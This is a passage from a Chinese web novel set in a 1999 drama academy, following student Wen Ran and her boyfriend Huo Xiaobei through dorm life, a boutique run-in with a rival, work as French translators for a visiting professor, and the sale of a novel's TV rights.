总之,范宜然的男朋友不一般就是了。 海阳还跟温苒透露,“咱们表演班专业考第一名可以保送,我跟范宜然一个学校,原本都说她是铁板钉钉的第一名,结果你出现了。” 温苒顿了顿,小声问:“这位范同学,应该不记仇吧?” 海阳摇头,“我跟她接触也不多,只知道她文化分一开始没过线,后来加了点别的分才进来。” 温苒:“……” 一旁许虹听见俩人的悄悄话,侧目:“话说,温苒你为什么没申请保送?” 刘蓉蓉和周可张着大眼睛望过来,就很好奇。 艺术生一生之敌就是文化课,能保送谁还去苦哈哈上课啊? 温苒一脸无辜,“我不知道啊?” 杜凌没跟她说过啊! 大家比她还惊讶,“你竟然不知道?” 温苒何止不知道,她还怕出问题,愣是把文化分控在了五百九十分上。 众人恍恍惚惚,海阳下意识开口:“你连这个都不知道,怎么想到要报表演专业的?” 温苒实话实说,“我本来要考长京舞蹈学院,考试前被推下楼梯受伤,这才转而报表演系的。” 周可倒了杯热茶放在转盘上,推到温苒面前,“谁推的你呀?是不是故意的?你报复回去了吗?” 温苒发现了,这位同学别看很安静,但实际上挺爱凑热闹挺八卦的。 她简单解释:“是我生父的继子推的,我要了赔偿。” 许虹这时幽幽出声,“我记得你文化课分数是五百九。” 几人刚转走的目光飞快挪回来,海阳尖声:“夺少?” 许虹回她:“五百九。” 众人再次恍恍惚惚。 海阳喃喃:“我才三百四十二,人和人的差距比人和猪的差距还大啊!” 人家临时准备考试能拿专业第一!人家文化分还能考五百九! 从食堂出来,温苒冲几位相处得 不错的新同学说道:“我要回去收拾东西,先不回宿舍了。” 海阳点头,“那行,我们送送你,送你到门口,正好认一认你男朋友。” 其他人闻言纷纷点头,主要就是好奇,温苒能看上的人长什么样,到底是不是俩眼睛俩耳朵一个鼻子一张嘴? 等见了人,她们确定了,是的。 要说哪里不一样,无非是长得帅长得高,但是气质沉稳内敛不像十八岁像三十八岁。 温苒介绍双方认识,聊了没几句,杜凌气喘吁吁地出现。 “总算是赶上了,艾玛那群人可真能聒聒!” 温苒侧目,才几个小时不见,你口音怎么就变了? 海阳先开口,“你就是杜凌吧?我叫海阳,咱们是同学!” 再次互相认识一番,海阳还托杜凌转告男生那边,希望军训前大家能抽出时间聚个餐,熟悉熟悉。 回出租房收拾上铺盖行李,傍晚前温苒搬进了宿舍。 三个人三台电脑,刚进寝室就被围起来。 海阳冲回宿舍抱过来一箱光碟,“都是国外和港台那边最新的电影,小苒小苒求你了,给咱们放几部?” 海阳抱着温苒晃来晃去,整个一大狮子狗撒娇。 温苒能怎么办? 她只能点头,“可以可以,当然可以!” 几人都换鞋换衣服,抱上零食搬上椅子围到桌前。 海阳兴冲冲带大家挑碟片,许虹上下打量温苒,“可以啊你这姐们儿!” 一部片子放到尾声,班任邢玉洁来了。 瞅见五个人围着电脑看电影,邢玉洁挑了挑眉,诧异道:“谁的电脑?” 海阳赶忙把凳子让出来,笑眯眯回道:“班任,是小苒的电脑,我们正在观摩学习电影。” 邢玉洁过去坐下,抬手点了点这姑娘,“净糊弄老师,我还不知道你们?” “行了,待会儿再看。”她说道:“开学后就是军训,报道日结束当天晚上咱们去教学楼开个会,互相认识认识,然后交钱领军训服、领课本……” 事无巨细地交待完,邢玉洁推荐了几部电影才离开。 海阳关门回来,小声道:“咱们班任这么年轻,真看不出来今年四十二了,她丈夫还是有名的大导演李一帆!” 温苒带头,和刘蓉蓉、周可三人表示疑惑。 你说哪部电视剧很火她们知道,但导演是真不了解。 许虹解释:“年初最火的电视剧《天术》就是师公拍的。” 《天术》是一部刑侦犯罪片,当时播出乔丽淑每晚都早早坐在沙发前等待。 刘蓉蓉惊讶,“厉害了!” 周可点头,“我妈和我奶奶之前每天都追,架都顾不上不吵了。” 海阳坐下换碟,“所以好好学,不用怕毕业没戏拍,班任有关系,会给我们推荐剧组的。” 温苒若有所思,问道:“电影也能推荐吗?” 许虹敲了下她额头,笑她:“你想什么呢?电影导演用人很严格的,想靠关系直接给你打出去。” 温苒揉着额头,“好吧。” 军训前,温苒把自己的病情诊断说明交给了班任。 邢玉洁看了眼,“海阳说你之前是舞蹈生,摔伤错过考试,才来考咱们系的?” 温苒:“……” 确诊了,海阳是个大嘴巴,她那里没有秘密。 邢玉洁拍拍温苒的肩膀,温柔道:“别担心,我会跟主任反应。还有你之后的体育课和形体课,老师会照顾你的身体缩短课程时长,只是专业课上你想要赶上同学得多花点心思,知道吗?” 军训如火如荼地来临,温苒每天只跟着站十分钟军姿,之后会被邢玉洁叫走休息。 每当这时,队伍里其他人就会投来羡慕的眼神。 真好啊! 不用左转右转齐步踏步…… 军训结束后,上了几天课就到了国庆假期。 杜凌摊在出租屋的床上不愿动弹,声音有气无力,“接下来半年,我能坐着不站着,能躺着不会坐着,电影你们去看吧,回来帮我带个KKC的套餐,谢谢了。” 温苒憋着笑关上门,“我们走吧,我想先去买衣服。” 经过半个多月的风吹日晒,霍骁北身形更加结实,肤色也一再变黑再变黑,彻底成了古铜色。 而且他还长高了一公分,让差一公分一米八的杜凌羡慕得嘴角流眼泪。 长京的大商场就那么几家,碰到熟人似乎在情理之中。 九九年国外某些奢牌已经入驻,霍骁北看上了橱窗里一条绿色碎花裙。 温苒一看价格转身就走,“不买不买,四千块都可以买个手机了。” 霍骁北拉住她,“带的钱够多,买完裙子还能再买支手机。” 温苒:“……” 温苒还是被带进了店里,结果就看到了正在试衣镜前来回转圈的文雪。 视线在镜中交汇,文雪诧异扭头,“温苒?你怎么进来的?” 知道这是什么店吗? 知道这里的裙子多少钱一条吗? 巧了,温苒其实也很好奇这个问题。 就算大学扩招给教培行业打了针鸡血,温长林给学生补课能赚很多钱,但那很多钱不出意外会留给文冬,文雪能吃穿不愁就不错了,哪来的几千块钱买裙子?! 霍骁北看着店员,“这条,还有那条。” 店员看着两个生面孔,再看看两个生面孔的年纪,犹豫着没动。 文雪抬手环胸,斜倚着台子,嘴角挂着微微的嘲讽,一副看好戏的表情。 温苒:“……” 不是,与其担心我,不担心担心你自己吗? 不是她温苒小看文雪,除非那个又low又小心眼的男主赵成宇在,不然她很怀疑文雪单纯就是来白嫖试裙子的。 这里面随便一条裙子都是四千块打底! 饶是温苒这样赚钱轻轻松松的,让她拿这么多钱买一条穿不了几次的裙子,她都肉疼。 温苒清清嗓子,斜眼上下打量文雪,“文雪,你也在这啊,你是来试裙子的?不会光试不买吧?” 文雪气得险些仰倒,先去看店员的反应,生怕她误会,忙道:“她瞎说!我可是你们的贵客,刚才我试过的裙子都包起来!” 店员将信将疑的表情消失,立马笑着鞠躬,转身颠颠儿跑去包裙子。 文雪得意地哼笑,转头高傲地睥睨着温苒和霍骁北。 穷光蛋! 也就只能买买外头那些小牌子的衣服了。 温苒:“?!” 温苒还非要见识见识了,有什么来钱更快的办法她不知道,文雪却知道。 她拽着霍骁北到前台,就等着待会儿看文雪结账。 不买就笑话她! 让她刚才笑自己? 文雪身上的裙子没脱,还重新配了双高跟鞋,哒哒哒过来,胳膊穿过一排纸袋,丢下三个字:“记账上。” 温苒:“……” 是她不懂了吗? 现在买衣服都能记账了? 文雪挎着一溜纸袋,费劲地来到两人面前,“帮我送到楼下,二十块!” 温苒木着脸,你买这么多裙子鞋子两万块也有了,二十块打发叫花子呢? 她开口刚要出声,就见那边店员上前,“不好意思文小姐,请您出示郭先生的VIP卡。” 温苒马上闭嘴,睁着好奇的大眼睛望过去,郭先生是谁?不应该是赵先生吗? 文雪飞快瞥了温苒一眼,看到她脸上的表情恼羞成怒,扭头将不满发泄到店员身上,“我忘记带了,你先记上,我和郭先生关系要和你又不是不知道?他之前也说过随便我用他的VIP卡。” 温苒还在好奇,霍骁北已经捕捉到了重要信息,他走向另一位店员,“帮我办一张VIP卡,先充五万。” 温苒:“?!!” 她瞬间顾不上好奇郭先生是谁,飞奔过去,“不要!我们不办卡,我们就买几件衣服!” 五万! 那可是五万! 霍骁北这个败家玩意! 霍骁北:“办!” 温苒瞪着他,“不办!” 店员:“……” 店员能怎么办? 当然是飞快注册然后办卡,先把客户拉到了再说! VIP卡是有折扣的,虽然只便宜几十块钱。 但想想花出去的几千块钱,温苒那点占了便宜的心思瞬间没了踪影,只剩下心疼。 办完卡,温苒一转头,就见在和店员拉锯的文雪消失了。 而店员,正在苦哈哈拆掉刚包好的衣服。 温苒转了转眼珠,好奇地凑过去,“你好,刚才那位文小姐口中的郭先生是谁 啊?” 店员满肚子怨愤无处发泄,赶巧温苒送上来,她又看得出温苒和文雪的关系应该不好,当即愤愤道:“还能是谁?是文小姐傍的大款呗!” 另一个帮忙的店员补充,“还是个假大款,也就骗骗没心眼儿的小姑娘,他那张卡里头就五千块钱,他只带姑娘来一次还说随便让姑娘用卡,之后却从来没见他再带人来过。” 被文雪发泄不满的店员骂骂咧咧:“活该!谁让她看不起我?活该被骗!” 霍骁北选好裙子,喊温苒过去试。 温苒才十七岁,身高一米七四,预计还会再长,试完选了更长的那条。 刚好店里也有男装,温苒给霍骁北挑了一沓黑白衬衫,运动服和鞋子则去了运动品牌店里买。 又买了两支手机,一支给温苒一支给杜凌,杜凌的先欠着慢慢还。 找了家火锅店,两人吃午饭。 温苒灌了杯茶,看向霍骁北,“赵成宇应该也在长京,文雪竟然没和他碰上?” 霍骁北低头给两支手机存他的号码,“赵成宇没在长京,他出国了。” 温苒惊讶了一秒,觉得很合理。 赵成宇如果在长京,按照男女主之间玄妙的吸引力,文雪今天何至于要花那位郭先生的钱啊! 说到钱,温苒立马想到变瘦了的钱包。 累死累活翻译了两个多月,拢共才赚了八万块,现在只剩下三万了! 第64章 第64章千禧年影后7 国庆节假期后,天气转凉,温苒早出晚归必定套毛衣裹围巾,在一众爱美要风度的表演系同学中简直是个异类。 女生里最粗糙的如海阳,都还穿着单薄的牛仔裤和秋衫。 最精致的如范宜然,长裙加羊毛大衣,到了室内脱掉大衣,吹着暖气好像在过夏天。 温苒不行,身为神医,她只想说少壮不努力当心年纪大了老寒腿。 果然没两天,最先撑不住的是周可,圆脸姑娘发烧烧得脸蛋通红精神昏沉,吃药打针足足请了一周的假才回去上课。 班任邢玉洁大事小事都得管,某天上完课勒令全班同学无论男女都至少穿三件再出门。 天气一日冷过一日,花大价钱买的几条漂亮裙子眼瞧着派不上用场,温苒丢到了衣柜角落。 大学的第一次期中考试结束后,班任邢玉洁带大家去学校后门饭馆聚了次餐。 “你们大四的学姐学长们正在排练毕业话剧,闲着没事可以去小剧院帮帮忙,观摩观摩。这次学校从法国请了知名教授和导演过来指导,法国一直是欧洲的艺术中心,去看看没坏处。” 海阳举手,“老师你也去吗?我们自己去会不会被赶出来?” 邢玉洁想了想,“那行吧,明后两天双休,我带咱班过去。到时候都给我老老实实的,在观众席上好好看别给我闹鬼动静。” 她说着筷子点了一圈人,“尤其你们几个,尤其是男生,都给我老实点,谁给我丢脸看回头我不收拾你们!” 六个男生赶紧卖拐讨巧,“老师你放心,我们哪个不是又聪明又帅气,都是给您长脸的,您放心!” 回宿舍的一路大家都在谈这一届的毕业话剧表演。 海阳向往道:“也不知道等咱毕业的时候,能不能请国外的教授来指导!” 洗漱好熄灯床上,温苒给霍骁北打了个电话,“明天我不回家了,老师说带我们去观摩毕业生的话剧排练,你要不要一起去?” 霍骁北那边风有点大,似乎站在阳台上。 “那我也去,我跟舍友一起过去找你。” 温苒小声问他:“你们班任不带你们去吗?” 霍骁北:“康老师在指导大专班的毕业话剧,他最近都没空。” 第二天温苒起了个大早,和同学一起下楼,在寝楼门口碰到了霍骁北和他的三个舍友。 表演系男生女生一半一半,导演系那边清一色男生。 对于霍骁北这么早过来给女朋友送饭一事,他的三个舍友何青泽、岳铁江和韩丰简直举双手双脚赞成。 妈耶,他们可都是一帮光棍,表演系女生个赛个的漂亮,好不容易有个机会还不上赶着,他们又不是脑子被门夹了? 三人手拎着包子油条豆浆,殷勤地一拥而上,七嘴八舌问起要吃哪个。 把最腼腆的刘蓉蓉给吓得都要哭了,赶紧扒拉着许虹往她身后躲。 今天班里六个女生都在,范宜然微笑地拒绝每个人的殷勤,“抱歉,我减肥,只吃低热量的营养餐。” 许虹翻了个白眼,接过岳铁江手里的油条豆浆,狠狠往嘴里塞了个包子,谁说这包子不营养了?这包子可太营养了! 半路上一群人和班上男生碰到。 杜凌颠颠儿凑过来,把霍骁北舍友手里剩下的早餐瓜分完。 杜凌跟温苒并排走,眼睛用力一挤一挤,“看着没?” 温苒战术后仰,“你眼睛中风了?我今天没带针,没法给你挑。” 杜凌:“……” 杜凌气急败坏地跺脚,“哎呀不是我,你们女生那个那个,范宜然。” 他极小声极小声地念了这个名字,“听说她男朋友很不一般,蔡立光让我帮忙问的,大家都没见过你们应该也没见过,会不会根本没有这个人?” 温苒摇头,“我不清楚。” 不过如果范宜然没有男朋友,或者她男朋友其实很一般,那就只能说明她的家世不一般。 范宜然性子冷,许虹说那叫高傲瞧不起人,但范宜然确实很少和她们五个来往。 大一大二学校强制规定住校,范宜然没有遵守,对此邢老师也没说什么。 再有范宜然经常缺课,邢老师也没说什么。 范宜然经常不在,但许虹和海阳每次说起班上的同学都不会把她落下。 温苒觉得许虹有句话很有道理,范宜然和她们不是一路人。 对这位疑似很不一般的同学,温苒没什么探究欲,甚至有点刻意回避。 主要是最一开始海阳告诉她,范宜然原本有希望保送,结果机会被她抢走了。 好在对方似乎不是记仇的性格,几个月相处下来,温苒和范宜然的关系可能还算比较‘融洽’? 顺风耳海阳凑过来,瞪大了眼睛,“什么什么?蔡立光喜欢范宜然?我天!他什么条件敢喜欢范宜然?” 温苒:“……” 所以你不会把这件事说出去吧大嘴巴阳? 杜凌显然也对海阳大漏勺早有耳闻,忙拽着她警告:“不许跟别人讲!听到没有?不然我就把你暗恋大三学长的事情说出去!” 海阳立马炸毛,“你是不是人啊杜凌?” 两个人拉拉扯扯你推我搡,一直到了小剧院,看到班任才消停下来。 霍骁北寝室四人上去问好。 邢玉洁笑着说道:“行,那你们跟我们一起进去,你们康老师最近忙得很顾不上你们,你们专业方面可千万别懈怠,学什么都自觉点知道吗?” 小剧院后排稀稀拉拉坐了几人,邢玉洁让大家找位置坐,尽可能往后,别去前头打扰她们排练。 海阳这个大嘴巴也有优点,就没有她不知道的秘密。 “听说这个导演在欧洲地位很高,他是法国巴黎戏剧学院的教授,教出来的学生如今都赫赫有名,他本人还是欧洲六大电影节之一,威布斯电影节的发起者之一,他当导演时拍出来的电影拿奖拿到手软。” 许虹问:“都有什么奖?” 海阳立刻秃噜出一串奖项,“就是我上网搜了,那些片子我都没咋听 过。” 高冷的范宜然这时突然出声,“正常,弗朗索瓦教授是戏剧理论研究的大家,他的作品完全是以艺术为出发点,门槛很高,区别于面向普罗大众的一般电影。” 海阳愣了下,好半晌后干巴巴回道:“真厉害,你知道得可真多。” 温苒提取到了信息:艺术,小众,奖。 身为一个法国人,弗朗索瓦教授的母语自然是法语,每当他发言时,都是口音古怪的英文夹杂着法语,听得众人都顶着一头的蚊香圈转啊转。 妈哎,外国人天天这么说话,确定舌头不会秃噜皮吗? 中场休息时,温苒去换卫生巾,霍骁北拿着衣服等在门口。 从厕所出来,温苒见霍骁北转头直勾勾看着某个方向,“看什么呢?” 霍骁北展开羽绒服给她穿上,“我在怀疑,那个法国教授是不是不认路,他刚才上完厕所去了地下室剧院的方向。” 温苒静静仰头看着他,一秒后飞快拉上拉链,“那肯定的啊!” 她拽上霍骁北,拔腿去追,终于在楼梯转角把人拦住。 “弗朗索瓦教授,您走错了,回去的路正好相反。” 弗朗索瓦茫然疑惑的眼神瞬间亮了亮,“小姑娘,你会讲法语?太好了!你来当我的翻译吧?” 于是几分钟后,应弗朗索瓦教授真诚热情地相邀,温苒和霍骁北来到了剧院前排。 后座的同学都惊了。 海阳狂戳前后左右的同学,就连隔老远的班任都没放过,“你们快看!快看那是谁?那是不是温苒和她男朋友?” 许虹忙道:“老师,麻烦您过去看看,是不是发生了什么?” 她不说邢玉洁也要过去的,自己的学生自己得要护啊。 邢玉洁忧心忡忡走到前面,却见她担心的学生正在跟表演系导演系的两位主任和弗朗索瓦教授聊得开心。 而且中文英文法语自由切换,一副娴熟到极致的轻松姿态。 邢玉洁:“???” 我年纪大了但我眼神很好的!我肯定没有幻视! 邢玉洁深深地怀疑人生中,表演系主任朝他招手,“师妹来了,你教出来的好学生,真是没想到连法语都这么熟练!” 确定师兄是在真心夸赞不是在阴阳怪气,邢玉洁默默上前,“师兄,温苒是我的学生,骁北是康师兄的徒弟。” 导演系主任这时候用力一拍脑门,“我就说我看这小伙子眼熟,可我一看他是跟师妹你来的,我就不敢认了,合着是康师弟的徒弟啊?” 他拍拍霍骁北的肩膀,说道:“既然都是自己人,那你俩回头没课了就多往这边剧院跑跑。” 他们请了外国语学院的教授,但对方也很忙,每天各种会议课程,腾出的时间不多。 邢玉洁拦住这位师兄,“哎,师兄,你不会想占咱们自己人的便宜吧?你们之前请的外国语学院的教授呢?请他花了多少钱?我们也不多要,给他多少就给我们多少!” 导演系主任:“……” 你这还叫不多要? 邢玉洁叉腰,理直气壮:“那不然呢?他一个外国语教授又不懂表演,我的俩徒弟可又懂导演又懂表演呢!” 温苒拉着霍骁北默默站在老师身后,乖巧眨眼,抿着嘴不说话。 有个为学生着想的好老师就是好! 弗朗索瓦教授悄悄走过来,手掌挡着脸,低声问道:“索菲亚,你的老师为什么吵架?” 温苒偏过头,小声回他:“我做你的翻译,老师在为我争取报酬。” 弗朗索瓦恍然大悟,并说道:“我可以出你的报酬,毕竟是我邀请你和你的男友做我的翻译。此外我休息日想在长京城里转一转,很需要你们两个做我的向导。” 温苒比了个‘OK’的手势,“我有同学是长京本地人,吃喝玩乐的地方都十分精通。” 许虹、海阳还有霍骁北的舍友韩丰,两个大院家属一个铁路局家属,长京城里哪里都门儿清呢。 邢玉洁最终为两人争取到了不菲的报酬,但两位主任也做出了要求,要求两人每天抽出至少两个小时来。 这当然没问题,大一的课程还很轻松,如果温苒和霍骁北轮换着来,一整天都能保证佛朗索瓦有随身翻译。 两个人也没有让主任失望,参与翻译后,排练进度直线上升。 邢玉洁回到后排,“没事,是法国教授留小苒和骁北当他的翻译。” 海阳瞪着眼,不敢置信地咽了咽口水,“我们知道,您刚才那么大声音,我们都听到了。老师,您能告诉我,小苒真的会说法语吗?” 一众同学的目光齐齐落在邢玉洁身上,邢玉洁笑着点头,“不仅会说,还很流利,十分流利,和弗朗索瓦教授交流起来几乎没有障碍!” 看吧看吧!她的学生!多优秀! 大家恍恍惚惚。 海阳抱着许虹喃喃:“天啊,我文化课比不过温小苒就算了,专业课也比不上,连外语我都比不上……” 许虹敲她脑袋,嗤笑:“我怎么不知道你会外语?你顶多拽两句‘吃了吗’‘很高兴认识你’!” 海阳:“……” 你知道就行,非得说出来戳我厚厚的脸皮吗? 杜凌被同学拽来拽去,“你跟温苒不是高中同学?你说!还有什么是她不会的?” 杜凌:“……” 我单单知道这俩精通英文,毕竟眼睁睁看着她们俩靠翻译赚了两套房的钱了,但我真不知道她们俩还会法语啊! 霍骁北的三个舍友对视一眼。 何青泽抹了把脸,“我就说骁北这人藏得深吧,要是我会法语,刚开学我就能舞到整个长京市都知道!” 岳铁江默默闭嘴,他最多舞到学校里都知道。 韩丰苦着脸,“你们说骁北连法语都精通,是不是英语也不在话下?” 何青泽和岳铁江点头。 “那不然呢?” “肯定啊!” 韩丰双手捂脸,“我前两天还拿了本英文原版书到骁北跟前炫耀……” 何青泽和岳铁江表情复杂,“那你……” 可丢死人了! 两人对视一眼,扑哧笑出声来。 多了一项翻译工作,温苒的日程稍稍做改变,但依旧是宿舍、教学楼、食堂和小剧院固定来回。 等到弗朗索瓦教授的假期,在两个系的本地学生轮流做向导下,霍骁北开着系主任主动借出的轿车,带着一车子人在长京城里的大街小巷钻来钻去。 吃烤鸭、爬长城、游故宫…… 全程消费由弗朗索瓦买单,可谓宾主尽欢。 转眼期末考试结束,聚了次餐,同学们就收拾行李各奔车站。 温苒和霍骁北,以及杜凌都不着急,今年两家约好在长京过年,等霍青山和乔丽淑放假,就和杜凌的父母一起上京。 弗朗索瓦没有回国,还在戏剧学院的教职工宿舍,今年过年据他说接到了校长的邀请。 他表示,“很遗憾,你们院长只会说英文,我也只会说英文,我们的水平还都很蹩脚。” 与其说遗憾,不如说他看温苒和霍骁北的眼神很热切,给人一种他想抢走一个带到校长家里的感觉。 有过陪弗朗索瓦游长京的经历,等两家父母来到长京,霍骁北开着新买的车子,好好带她们玩了一圈。 玩累了在家歇着,霍青山终于记起一件事,从包里翻出一封信,“骁北,这是你之前投稿的报社又发来的。” 杜凌伸着脖子瞅,“是不是又找你约稿的?” 霍骁北拆开信封,走到温苒旁边坐下,跟她一起看。 一群人围上来,“到底是啥?” 温苒看到最后,回道:“有个剧组看上了他的小说,想买走改编成电视剧。” 杜父惊了,“真的?那啥时候能拍?给多少钱?能不能让小苒和杜凌去试试?” 杜凌翻白眼,“爸你想什么呢?我们老师说了,原则上大三之前不允许接戏!再说了,我还想拍电影呢,我们老师说了,能拍电影就拍电影,实在拍不了电影再去拍电视剧。” 杜父一巴掌拍过去,“嘿!你个毛都没长齐的小子,你还嫌弃上了?” 杜凌闪躲开,梗着脖子道:“我这叫有艺术追求!” 他说完还向霍骁北找补,“骁北我没说你剧本不好的意思,你别误会啊!” 霍骁北点点头,“对方出价两万八千元。” 大家也不懂,“那这个价格是高还是低啊?” 霍骁北其实也不大了解,所以得先找个内行人问问。 温苒班任的爱人李一帆导演,著名的电视剧导演,他就很合适。 上门拜年时,霍骁北就问了一嘴。 邢玉洁拿着小说去找丈夫,李一帆瞅了眼,然后惊了,“嚯!《影子》这部小说原来是你写的啊?” 他夺走小说,大步来到霍骁北面前,一脸喜色:“这不是巧了,就是我们看中了你的小说想改编成电视剧!” 邢玉洁追上来,“那你就别一副寒酸样了,再给往上提一提,你看上的小说那肯定不一般,你能出多少就给多少,这可是咱 们自家孩子!” 李一帆看向妻子,“那肯定啊!我能坑自己女婿吗?” 温苒&霍骁北:“……” 知道李一帆是买家后,霍骁北就不担心版权费了,几万块钱他还没看在眼里,也就刚好给小苒和他妈买几件裙子而已。 “咳,师公,不知道你们剧组什么时候拍,我和几个同学想过去学习学习。” 李一帆还没说话呢,邢玉洁马上道:“有啥不行的?你们师公估计就在长京的影视基地拍,离得近,假期过去实习,开学再回校上课。” 李一帆咂咂嘴,“也行,不过咱先说好,不许捣乱,我拍的时候你们就安静看着,有什么问题等我拍完再问。” 小说还需要改编成剧本,加上挑选演员,开拍时已经到了大一学期末。 今年毕业生的话剧表演是第一次中外教授联合执导,话剧表演三天三场,每天都有国内知名导演、编剧、演员以及成名的校友前来。 弗朗索瓦教授和院长一起行动,温苒和霍骁北身为翻译和弗朗索瓦教授一起行动,两人在一群业界名人面前混了个眼熟。 话剧表演结束,弗朗索瓦也要回国了。 “很高兴认识你们,如果对戏剧理论感兴趣,可以报考我所在的大学,我会为你们写推荐信。我回国后我们也要经常交流,我记得你们的邮箱。” “另外,我会请一位中文老师学习中文的,WengRang,HuoXiaoBei,我念的对吗?” 念对了声调的音没念对,念对了音的声调都跑偏了…… 但温苒能说什么,她微笑点头,“你进步了,弗朗索瓦教授。” 这之后就是忙忙碌碌的期末考试。 海阳来宿舍蹭笔记,总要唠几句闲话过过瘾,“哎,过来看话剧的演员你们都知道有谁吗?” 许虹停下笔,抬头说了一串名字,“我倒是更好奇导演,最近都没什么大导来学校挑演员了。” 海阳激动地握拳,目光灼灼转了一圈,和每个人对视时眼神都仿佛在说‘快问我快问我’! 刘蓉蓉很捧场,“海阳你知道啊?” 海阳用力点头,“是冯飞!之前来看话剧的演员里,有个大我们三届隔壁影视学院的学姐,她大三时拍了冯飞导演一部戏,年初时那部戏拿奖了!” 许虹仰头想了想,“是乔雨晴啊,那部《左左右右》,拿了白牡丹奖,算捡漏吧,今年没什么好戏。” 海阳遗憾地摇头,“倒也是,不过那也是拿奖了,拿了奖就不一样了。” 许虹看她,“你不会说,冯飞导演要来咱们戏剧学院挑演员吧?” 海洋用力点头,“我听我影视学院的同学讲的,冯飞下部电影要拍都市题材,还是群像,需要的演员多,先在影视学院挑,那毕竟是冯飞导演的母校,完了再来我们戏剧学院。” 温苒伸了伸懒腰,“跟我们关系应该不大,班任说,大三之前不许接戏。” 海洋转头纠正她:“是原则上!但系里规定也说了,如果实在有好机会,可以特批。” 许虹不客气地打破她的幻想,“你拿什么把握机会?凭你糊嘴的顺口溜?” 海阳:“……” 海阳暴起,扑上去掐着许虹的肩膀摇晃,“你给我小心点许大姐,当心熄灯以后我过来暗鲨你!” 海阳闹了一通,回去复习了。 许虹托着下巴,盯紧对面那张漂亮的脸蛋,“别人我不知道,你去面说不定能面上。” 刘蓉蓉小仓鼠一样点头。 那可不,温苒就是天生要吃演员这碗饭的! 温苒不仅有天赋还特别努力,那些经典作品她们看过在脑子里转一圈就算,温苒专门记了厚厚一沓笔记。 每个角色温苒都给写人物小传,剧情结构、镜头、微表情她都拉出来分析。 她理论强就罢了,真刀真枪地表演她也很厉害,班上的同学都心服口服。 不服不行,就算本来不服,跟她对戏的那一瞬间也会打从心眼里服气。 因为温苒可以做到把大家带入戏! 而且这不是温苒刻意为之,她只是很自然很投入地表演,和她对戏的演员是自然而然被感染入戏的。 原本范宜然还三天两头缺课,在专业上隐隐和温苒别苗头,但自从和温苒演过一场戏后,范宜然就很少再缺课,而且常常课后还要加时练功。 温苒戏称其为‘卷王’,内卷一词因为过于形象又过于抽象,迅速风靡全班然后风靡整个学校。 照刘蓉蓉看来,范宜然是个卷王,温苒也是个卷王啊! 你们卷王自己卷就算了,连带她们都要被迫卷起来! 还有没有天理啊! 期末考试之后迎来暑假,不过班上同学没一个回家,都选择了留校。 万众期待中,班任邢玉洁宣布,大导演冯飞要来戏剧学院挑选演员。 而且是公开选角! 第65章 第65章千禧年影后8 暑假,霍骁北小说改编的电视剧开拍。 他和三个舍友被李一帆勒令跟组学习,期末考试后就收拾东西去了影视基地。 温苒不想一个人住,就没回小区,还在宿舍住。 317寝成了99级女生每天的聚集地。 范宜然来了两天,家里有点事就先离开了。 海阳大剌剌靠在许虹的床铺上,捧着本书看得津津有味,一面也不忘和大家闲聊报信:“冯飞导演应该下周来咱们学校,据说他在影视学院没找着合适的女主角,连跟咱们同级的都面了,都不行。” 许虹坐在桌前,手捧粉底粉扑,对着面镜子拍来拍去。 镜子背面的夹层扣着张照片,是如今香江顶顶有名的女星林梦梦。 扑完粉换上口红,许虹抿着嘴来回抹了两下,用力扣上盖子时发出清脆声响。 她拨拉着刚拉直的头发,看着镜子里的自己,满意回道:“正常,影视学院这两届的学生没有特别出挑的。” “不像咱们,咱们这届小苒和范宜然就不提了,老师们都说呢,她俩这资质十年难得一遇。” “可儿别看平时安安静静的,有一把好嗓子,歌剧系的主任每回见了都想挖人。” “蓉蓉平时见了谁都怕,脸皮薄的跟什么似的,上了台却只有她接得住小苒和范宜然的戏,怵场跟她压根不搭边儿。” “还有我,我这长相都能和小苒平分秋色,光看脸就行了。” 海阳:“……” 她等着这人夸自己,就先没回怼,可等了又等,许虹都开始卸妆重化了,都没见这人开口。 海阳愤怒拍床坐起,握着书挨个点了个遍,“她们都夸了,我呢?许大姐你不能这么偏心!” 许虹翻白眼,“你有什么可夸的,专业倒数第一。” 海阳:“……” 刘蓉蓉不想同学伤心,弱弱道:“其实,其实海阳的台词有进步了,口音都很少听出来。” 许虹扑哧笑出声,“那还是听得出来。” 海阳扑上去,“你还和小苒平分秋色,你那脸比她大一半!” 许虹一声怒吼:“海阳你给我闭嘴!” 两人打成一团。 温苒没参与她们的闲聊,她正在和戏剧杂志的编辑发邮件沟通。 充当弗朗索瓦教授的翻译时,每次见面都和对方交流戏剧理论,对方从不吝啬,她从这位教授身上学到了很多东西。 好记性不如烂笔头,温苒将这些感悟整理成笔记,打印成册后和霍骁北两人交换学习。 没成想她的那份笔记被霍骁北的班任康佑生老师看到,康老师是戏剧杂志的特邀专家之一,他于是向杂志社推荐了两人的笔记。 编辑看过后,想先选几篇登在杂志上,余下的编书出版。 这次对方希望温苒就其中几篇再行扩充。 刚好她手边有现成的素材,整理整理就能用。 表演系课程总体来说很轻松,温苒空下来就开始看书。 弗朗索瓦教授回法国后,远隔重洋地 托人捎过来几大箱子书。 加上戏剧学院图书馆内的藏书,温苒的阅读范围之广,从人文地理到戏剧理论再到历史政治军事战争等等。 遇到某方面感兴趣,她还去其他学校图书馆找过书。 得亏是有台电脑,如今她的读书笔记大概有几百万字,单靠手写怕是胳膊要断了。 霍骁北专业的书温苒也都精读过,书读得多了,难免想要实践。 温苒着手写了两个短篇的剧本,让霍骁北拿去给康老师过目后,得到了还不错的评价。 当然康老师的原话是这样的:“帮我问问你女朋友的意见,我代咱们学院向她购买这两份剧本,用于平时的教学课程。” 戏剧学院的表演实践剧目几乎都来自经典小说或话剧改编,偶尔会收录专业教授的作品和优秀毕业生作品,但后者大多不适合小班教学。 温苒这两个剧本角色少,场景变换也少,同时角色关系复杂,角色前后反差大,台词寥寥几句便能展现角色性格,最最重要的是她懂得留白。 一个比较反常识的标准是,好剧本通常不会太详细,而在精且准两个字上。 剧本写详写细不难,但恰到好处的留白却不简单。 康佑生认为,这两个小短篇话剧非常适合当作‘例题’,供老师讲解理论供学生实践练习。 就像数学课上,老师在讲完一个知识点后通常会出一道例题,帮助学生巩固刚学到的东西,继而引出下一个知识点。 学院不缺经典例题,缺的就是这种小而精还带着新鲜气儿的例题。 而且这两个剧本的题材也是之前没有过的,一本是悬疑题材,一本则偏向朝堂。 所谓的朝堂,其实是权谋。 但没关系,信心大增的温苒于是瞄上了长篇,相当于三十集左右的电视剧剧本。 到了饭点,许虹又要请客。 连最擅长白吃白喝的海阳都惊了,“大姐你发财了?” 